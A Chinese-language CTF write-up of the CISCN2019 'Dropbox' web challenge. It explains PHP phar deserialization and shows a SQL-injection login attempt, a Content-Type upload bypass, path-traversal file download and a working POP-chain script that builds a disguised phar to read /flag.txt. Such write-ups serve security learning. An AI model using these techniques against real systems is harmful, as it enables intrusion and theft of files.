目录
前言:
。。。
考点:
代码审计
Phar反序列化
前置知识:
引入一个 Y4师傅的文章,这里我就不班门弄斧:[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化
要简单了解的是phar的四个部分:
1,stub
phar 文件的表示,以 xxxxxx<?php xxx;__HALT__COMPILER();?> 为固定形式,前面内容可以变,点必须 __HALT__COMPILER();?>结尾。
2,a mainfest describing the contents
该部分是phar文件中被压缩的文件的一些信息,其中meta-data部分的信息会被序列化,即执行serialize()
函数,而phar://
就相当于对这部分的内容进行反序列化,此处也正是漏洞点所在。
3,the file contents
这部分存储的是文件的内容,在没有其它特殊要求的情况下,这里面的内容不做约束。
4. a signature for verifying Phar integrity
数字前面 ,在最末尾。
使用的前提条件:
1. phar 文件可以上传至服务器。
2. 文件操作入 file_exists() .file_get_content(),fopen() ,要有可利用的魔术方法作为跳板
3.文件流参数可控,且phar://协议可用 / phar 等特殊字符没有被过滤
解题:
看到登录框,先 用万能密码 1' or 1=1# 试了一下 没有反应。就注册一个账号登进去。
进入以后我们发现左上角有一个上传文件的功能,然后我们先随便建个文档上传提交,发现它要求得文件类型只能是gif/jpg/png的类型,然后进一步测试发现,只更改文件后缀名是没有用的,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。
就算你上传 1.php 文件,他也会自动改成png 格式。
上传成功后,能够看到下载和删除两个按钮,一般来说,下载这两字 可能会有任意文件下载的。
抓包看 ,确实如此
filename 是可控的,我们试着 下载 flag.txt 发现是不行的,无奈之下只能下载一些 所有功能的源代码。 不过要注意的是 , 文件都放在 上上级目录了,所以我们 下载文件 需要加上 ../ ../
主要看 class.php 文件,因为有file_get_contents函数,可以让我们读取flag。
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
这个利用点 file_get_contents 没有对 关键字进行过滤,所以 我们肯定是利用这个函数来获取flag 的。 所以我们应该怎么样利用呢?
首先是定义的 close 函数,我们跳转到哪里调用了这个close()
跟进代码,看到是User类 的__destrust() 调用了 close()
所以我们简单的逻辑 就是: User-> __destruct() =>File -> close() -> 读取flag。
但是 试了一下,并没有回显,此时,我在前提条件说过,第二条要有可用魔术方法作为跳板,class.php 有一个 __call() 方法可以使用,恐怕想不利用他们都不行了。。。
如果想要读取文件内容,肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句;
注意到 User类中在 __destruct时调用了close(),按原逻辑,$db应该是mysqli即数据库对象,但是我们可以构造$db指定为 File对象,这样就可以读取到文件了。
可读取到文件不能呈现给我们,注意到 __call魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 $this->results[$file->name()][$func],刚好我们利用这一点:让 $db为 FileList对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results
$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result。
返回读取结果:
__destruct
正好会将$this->results[$file->name()][$func]
的内容打印出来
pop链:
<?php
class User {
public $db;
public function __construct(){
$this->db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array(new File());
$this->results=array();
$this->funcs=array();
}
}
class File {
public $filename="/flag.txt";
}
$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","snowy"); //添加压缩文件,文件名字为shell.txt,内容为snowy
$phar->stopBuffering();
注意:想要生成phar文件记得把php.ini中的phar.readonly选项设置为Off,否则将无法生成phar文件
生成phar文件:
改后缀上传:
抓取delete.php的数据包,修改post提交的数据:
得到flag。
参考文章:
[CISCN2019 华北赛区 Day1 Web1]Dropbox之愚见 - 简书 (jianshu.com)
[CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)_Red snow的博客-CSDN博客